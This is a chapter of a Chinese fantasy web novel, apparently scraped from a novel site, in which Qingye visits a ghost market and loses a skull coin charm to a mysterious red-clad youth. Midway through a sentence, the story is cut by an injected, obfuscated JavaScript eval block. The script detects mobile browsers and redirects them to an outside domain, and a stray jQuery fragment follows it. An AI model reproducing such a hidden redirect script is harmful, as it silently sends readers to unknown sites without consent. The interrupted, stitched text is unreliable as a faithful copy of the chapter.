16. 少年

作品:《废柴师妹,但上神

    卖虺龙鳞的铺子夹在两条巷子的缝里,低矮狭窄,乍一看仿佛将墙面挖了个洞,镶嵌进去似的。


    清也弯腰进去,里面只一盏油灯,四壁无窗,也无符咒法器的痕迹,像个凡间人家的旧屋。


    正中设一架素屏风,后面坐着个人影,戴巾着袍,清瘦如书生。声音从屏后传来,年轻却平板:“今日不开张,客人改天来。”


    尘无衣拱手:“我们是来买虺龙鳞的,三日前托人和您打过招呼。”


    屏后静了片刻。


    “不卖。”那声音说。


    清也:“价格都好商量。”


    尘无衣立刻附和:“对对,我们带了灵石来的,您出个价,只要不过分,我们可以直接付灵石。”


    “不卖就是不卖。”书生态度坚定,“我要拿去给九幽阁。”


    尘无衣不服气:“先前掮客说您愿意卖,我们这才特意跑一趟,怎么能说变卦就变卦!”


    “那谁料得到九幽阁这时候开?”书生执笔在桌案轻敲,有点不耐烦,“况且,我答应卖你们了吗?”


    尘无衣生气,刚想与他理论,被清也拦下。


    她淡笑上前:“东西没出手,自然还是您做主。不过这虺龙鳞对我们确实有救命的效用。不然这样,您先去九幽阁比价,他们出多少,我们照价给,成不成?”


    尘无衣脸色微变。


    书生之前叫价在一万灵石左右,他们咬咬牙能拿下。可若和九幽阁比价,他们就未必跟得起了。


    书生却道:“我在意的不是灵石。”


    清也和尘无衣闻言皆蹙起眉。


    这就麻烦了。


    书生:“九幽阁我是一定要去的。不过看在你们成心求购的份上...”


    他沉吟片刻后道,“这样吧,东西我给你们留着,若九幽阁不收,届时折一半价给你们。”


    见他如此说,尘无衣和清也都明白这桩买卖已经没了商讨的余地,遂作揖谢过,告辞离开。


    几句话的功夫,街上多了好些和他们同样装束的斗篷客,皆闻风前来,携着大大小小的匣子往高楼所在挤去。


    清也侧身避开一个险些撞上她的行人,不由惊讶:“九幽阁究竟开多高的价,竟能引来这么多人?”


    尘无衣望向涌动的人潮,眼中颇有些意动:“大概都是冲着鬼王来的吧。听人说,要是你的东西被鬼王看中,能换他一个愿望。”


    鬼王一诺,重若千钧,可比灵石贵重的多。


    清也心道这鬼王竟还是个乐善好施的。


    尘无衣算了算时辰,还有闲余,便道:“我想去碰碰运气,你要不要去?”


    街上队伍大排长龙,清也犯起懒,摇摇头:“我就不凑这个热闹了。”


    人太多,挤得慌。


    “那你储物袋里有什么能换的?”尘无衣朝她伸手,“我替你一并带去。”


    清也解下干瘪的储物袋抛给他。


    原身可谓一穷二白,如今袋里也就多了点束修给的灵石。


    尘无衣探手去翻,忽然拈出一根乌黑羽毛。


    羽尖光泽极亮,像是鸦羽。


    “后山那只乌鸦掉的。”清也瞥了一眼,“不知何时收进去了。”


    尘无衣拿在手里看了看,似乎没什么特别的。


    “不管了,都拿去试试再说。”


    他将羽毛收好,又把灵石塞回她手里,“我这也就几瓶丹药,应该用不了多久,到时候就在那棵柳树下会面。”


    他指向算命摊边上的垂柳,耐心叮嘱:“一个人千万注意安全,遇到麻烦就捏碎灵珠,知道吗?”


    清也点点头。


    尘无衣这才安心离去。


    带伤的身体终究不够强健,方才逛这么一会,清也便觉有些疲倦。


    想找个清静地方歇脚,四处张望,却只瞧见算命摊边上空着一片阴凉。


    有几只小鬼正扯着柳枝荡秋千。


    柳树性阴,对她来说倒也无甚妨碍。


    清也正想迈步,不料身旁忽然传来一声吆喝。


    “瞧一瞧,看一看嘞,仙人遗宝,结缘一件,福泽三代。”


    清也望过去,算命摊对面,不知何时新支了一个小摊。


    摊主没有遮掩身形,一身素色长衫,面容清癯,撑着块破烂布横幅叫喊,声音悠长。


    偶有一二人被吸引投去视线,但多数匆匆一瞥,并不停留。


    清也目光落在他的招牌上。


    斗大的墨字写着“价格公道,如假...”后面的字还折了一半,瞧着有些落拓。


    见清也近前,摊主脸上顿时堆起笑意,“姑娘买点什么?”


    他伸手向摊上陈列的物件一比,“我这都是些仙人旧物,沾福带运,对修行大有助益。”


    清也挑眉:“你如何肯定我是修士?”


    摊主不应招:“姑娘这话不就承认了嘛。”


    清也觉得他有意思,凝神向他探去。然而放出的神思,却在接近对方时,被一层无形屏障悄然化去。


    摊主笑吟吟看着她。


    主人家有意阻拦,清也不再强求,挑了挑眉,目光自然而然落向摊上。


    “这些都是仙人之物?”清也目光扫过桌上千奇百怪的物品。


    耳珰、短刀、符箓、腰带...甚至还有一双登云靴?


    摊主极有眼力见地托起靴子,向她展示:“此靴乃是文昌帝君下凡游历时所穿,福泽深厚。家中若有举子赴试,定然高中榜首,独占鳌头。”


    他挥掌:“只需五百灵石。”


    “可惜可惜,我家并无举子,只有几个武小子。”清也张口就来,转而点中另一块颜色驳杂的七彩石:“那这个呢?”


    摊主一听,当即改了称呼,佩服道:“夫人实乃慧眼!武夫也需佳妇来配,而此物正是缔结仙缘,牵拉红线的至宝。”


    “哦?”


    “夫人可识得泽山神主?无情无欲,孤寡了万年的尊神,便是被这灵石一击,坠入凡尘,结下一段刻骨情缘。”


    摊主说得眉飞色舞,“夫人若买下此物,家中儿郎定能早早觅得良缘,与新妇白头共首。”


    清也暗叹这摊主有趣是有趣,可说出来的话未免太过荒诞。


    泽山那位可是出了名的矜傲自持。


    要是被一块石头砸中就能开窍动情,那些苦求不得的女仙们,怕是要将天河都哭塌了。


    见清也反响平淡,摊主眼珠一转,俯身从桌下郑重取出一卷画轴。


    “姑娘是识货之人,寻常物件入不了您的眼。”他一边说着,一边小心翼翼地解开系带,“但这幅画可是在下压箱底的珍宝,您再看看?”


    画卷徐徐展开,年代久远的绢帛已泛出温润的杏黄色。


    远山淡影,落英纷飞,桃花树下,一人青衫飘逸,振腕挥剑,另一人白衣胜雪,端坐于青石之上,身前是一张古朴瑶琴。


    寥寥几点墨,画面笔意纵横,气韵生动。


    “当年玉霄仙君和如今的天帝,同在道祖门下学艺,天帝善乐,仙君舞剑,这画中正是——”


    话未说完,清也已抬手轻轻按在了展了一半的卷轴之上,似笑非笑:“你不知道么,道祖最不喜桃花。”


    摊主顿时噎住,张口欲辩,却见清也眼底浮起一抹金纹。


    仙家印!


    摊主心头猛地一悸,后背沁出一层薄薄的冷汗。


    他行走市井多年,靠的就是眼力和一张嘴,万万没想到今日竟真撞上了铁板。


    正想为自己辩解几句,清也却不想听人编排自己,敛起神色,转身就走。


    不料扬起的斗篷勾住招牌上的倒刺,意外听得一声:


    “叮铃——”


    一串原本被随意扔在摊角的百鬼花钱应声跌落在地。


    那花钱造型诡异,铜钱两侧各悬一枚银铃,中间竟还坠着一个黄豆大小的骷髅头骨雕。


    这一摔,清也回头,恰好瞧见中间那骷髅头竟似吃痛般猛地晃了一下。


    两颗小铃铛也委屈地颤了颤,仿佛露出了一个龇牙咧嘴的可怜表情。


    摊主闻声瞥来,见是此物,当即捡起,连连摆手:“无妨无妨,不值几个钱,您自去便是。”


    清也却重新走了回来:“这东西,你从哪来的?”


    摊主哪还敢造次,如实道:“随手在溪滩边上捡的,您要是看中,直接带走便是。”


    清也扯开嘴角,觉得更有意思了。


    他这摊上没东西是真的,除了这山鬼花钱——倒确确实实是她的东西。


    “开门做生意,该收的还是要收,你开个价。”清也说。


    摊主连连摆手:“实在不必。”


    他苦笑一声,“这东西邪门得很,任谁买去,隔日必定原样回到我这摊上。平白得罪了好几位主顾。”


    他拱手奉上花钱:“您若能带走,便是帮在下了一桩心病。”


    见摊主如此说,清也便不再推拒,刚要接下那串山鬼花钱


    “——这串东西,”


    声沉,音色清。


    忽然出现一道声音打岔,摊主转头,清也随之抬眼,目光瞥向声来之处。


    百鬼集市不见天日,幽蓝的鲛人灯在摊间投下晃动的影。四下里皆是裹着深色斗篷


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16264571|181584||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    的身影,模糊难辨,如同蠕动的暗潮。


    唯有人群边缘,立着一道孤直的红影。


    少年一身红衣,眸光幽深,静沉沉地望过来。


    他生的很白,步履无声地穿过人群,耳间黑玉珰随着步伐轻荡,尾端串珠相击发出极轻脆响。


    “我要了。”少年目光停在清也脸上。


    清也眸光微动。


    倒是个很好看的孩子。


    “这位小兄弟,十分抱歉,这串花钱已经有主了。”摊主赔笑。


    少年闻言,视线才缓缓移至摊主,却道:“她出价了么?”


    清也手指在花钱上轻挠了两下,骷髅头怕痒似的笑起来,诡异之中竟莫名透着几分可爱。


    清也忍俊不禁。


    别的也就算了,偏偏这山鬼花钱,她不想让。


    清也抬眼看向少年,唇角含了抹极淡的笑意:“你来的不巧,摊主已经答应把它给我了。”


    摊主连连道是,“此物与这位...呃客人有缘,我这还有别的玩意,小兄弟来看看?”


    “”有缘...”


    那少年扯了扯嘴角,意味不明地一嗤。


    清也觉得他有些莫名其妙,刚想拿着东西走人,不料那串山鬼花钱忽地飞起,自动挂到了少年手上。


    骷髅头亲昵地贴着少年腕骨,委屈得要哭,好似和少年久别重逢一般。


    清也愕然。


    这串花钱有些灵气,往日待在她身边时十分乖觉,从来没有过这种背主举动。


    少年也蹙了眉头,伸手去摘,然而刚触上覆灰的钱币,前方长街忽然传来一阵骚动。


    一男子边跑边骂赌坊黑心,丧尽天良,一边疯癫地掀翻沿途货摊。


    清也仔细一看,竟是方才赌坊内押中豹子的修士。


    赌坊紧追不舍,眼见人越逃越快,怒喝着掐诀,一道青光便凌厉地劈向那人背心。


    男修抱头躲开,随手抓起边上陶器摊的花瓶扔去,青光击中花瓶,顿时炸开,碎瓦残片裹挟着劲风溅射开。


    人群彻底炸开锅,惊惶推挤,奔逃踩踏。


    清也刚稳住身形,便被一股更汹涌的人潮撞得向后跌去。


    少年眼疾手快抓住她的手,清也一愣,腰间却不知被什么东西一扯。


    那只绣着云纹的储物袋脱扣飞甩出去,落在长街中心,瞬间便被数只慌乱的脚踢踏而过,袋内灵珠破碎,发出一阵微光。


    清也尚来不及反应,人已经消失在原地,再转眼却回到了棺材铺外。


    尘无衣还没出来,清也下意识想折返,灰衣人却将她一拦:“再进得重新排队。”


    清也的灵石都在储物袋里,没灵石再付一次通行费,只能在外面得等尘无衣出来。


    人间夜幕已至,清也寻了个显眼的石头墩,正打算坐下等,后背被人拍了一下。


    回头一看,正是尘无衣。


    清也讶然:“你怎么那么快就出来了?”


    “赌坊有人闹事,惊动了九幽阁,就把所有人都清出来了。”尘无衣说着,余光瞥见她空荡荡的腰间,不由一愣,“你储物袋呢?”


    “飞出去了。”


    清也言简意赅讲了事情经过,脸上有些无奈。


    尘无衣听完,宽慰道:“人没事就好,一点灵石而已,我已经赚回来了。”


    他举起鼓鼓囊囊的储灵袋扬了扬。


    清也惊讶:“你卖了什么,赚这么多?”


    提起这个,尘无衣忍不住笑起来:“这得多亏你那根羽毛。它什么来头啊?九幽阁的人见了它,直接把我的丹药包圆了。”


    “这只乌鸦好像是凌霜师姐的父亲派来的,”清也思索道:“可能,我们沾了师姐的光?”


    这就说得通了,云凌霜的父亲身份不明,若与九幽阁有渊源,这乌鸦毛就等同于信物。


    “原来是自己人啊。”尘无衣对魔族接受良好,乐呵道,“那下回要是带上凌霜师姐,我们岂不是能在百鬼集市横着走?”


    清也撇嘴,心道你凌霜师姐不和他们打起来就算好。


    时辰不早,二人并肩走向渡口。江上舟灯点点,在昏暗中晕开暖光。


    “今日你逛得多,可淘到什么好东西了?”尘无衣随口问道。


    清也眼前浮现出那串山鬼花钱的模样,轻叹道:“看中个小玩意,可惜遇上砸街的乱子,没买成。”


    “你呢?见到鬼王了吗?”


    尘无衣遗憾地一摊手:“别提了,赌坊那边一闹,九幽阁开了不到半个时辰就关了,我后头排队的全都白跑一趟。”


    “只能等下次了。”